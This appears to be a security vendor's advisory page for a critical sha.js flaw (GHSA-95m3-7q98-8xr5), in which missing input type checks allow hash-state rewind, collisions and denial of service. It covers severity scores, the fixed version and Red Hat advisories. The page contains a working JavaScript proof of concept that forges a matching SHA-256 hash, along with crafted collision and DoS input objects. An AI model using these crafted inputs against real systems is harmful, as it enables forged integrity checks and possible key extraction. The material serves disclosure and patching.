GHSA-95m3-7q98-8xr5 is a critical-severity (CVSS 9.1) Improper Input Validation vulnerability in sha.js. A fix is available for sha.js — see the affected versions and patch details below.
sha.js is missing type checks leading to hash rewind and passing on crafted data
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-95m3-7q98-8xr5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-95m3-7q98-8xr5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sha.jsnpmDescription
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sha.js | all versions | 2.4.12npm install sha.js@2.4.12 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sha.js, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sha.js to 2.4.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-95m3-7q98-8xr5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-95m3-7q98-8xr5 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-95m3-7q98-8xr5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability was marked as Important rather then Critical because while the lack of input type checks in sha.js allows for hash state rewinding, crafted collisions, and potential denial of service, the vulnerability requires highly specific crafted input objects that are unlikely to occur in typical real-world…
| Product | Fixed in | Advisory |
|---|---|---|
| multicluster engine for Kubernetes 2.7 for RHEL 8 | multicluster-engine-assisted-service-8-container-v2.7.6-2 | RHSA-2025:18278 |
| Red Hat Advanced Cluster Management for Kubernetes 2.12 for RHEL 9 | acm-cli-container-v2.12.5-4 | RHSA-2025:18744 |
| multicluster engine for Kubernetes 2.6 | multicluster-engine/console-mce-rhel9:v2.6 | RHSA-2025:23528 |
| multicluster engine for Kubernetes 2.8 | multicluster-engine/console-mce-rhel9:1765829333 | RHSA-2026:0722 |
| multicluster engine for Kubernetes 2.9 | multicluster-engine/console-mce-rhel9:v2.9 | RHSA-2025:19332 |
| Red Hat Advanced Cluster Management for Kubernetes 2.11 | rhacm2/console-rhel9:v2.11 | RHSA-2025:23529 |
| Red Hat Advanced Cluster Management for Kubernetes 2.11 | rhacm2/acm-grafana-rhel9:1783578847 | RHSA-2026:41064 |
| Red Hat Advanced Cluster Management for Kubernetes 2.13 | rhacm2/console-rhel9:1768001980 | RHSA-2026:0627 |
Frequently Asked Questions
Is GHSA-95m3-7q98-8xr5 in your dependencies?
O3 Security finds GHSA-95m3-7q98-8xr5 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.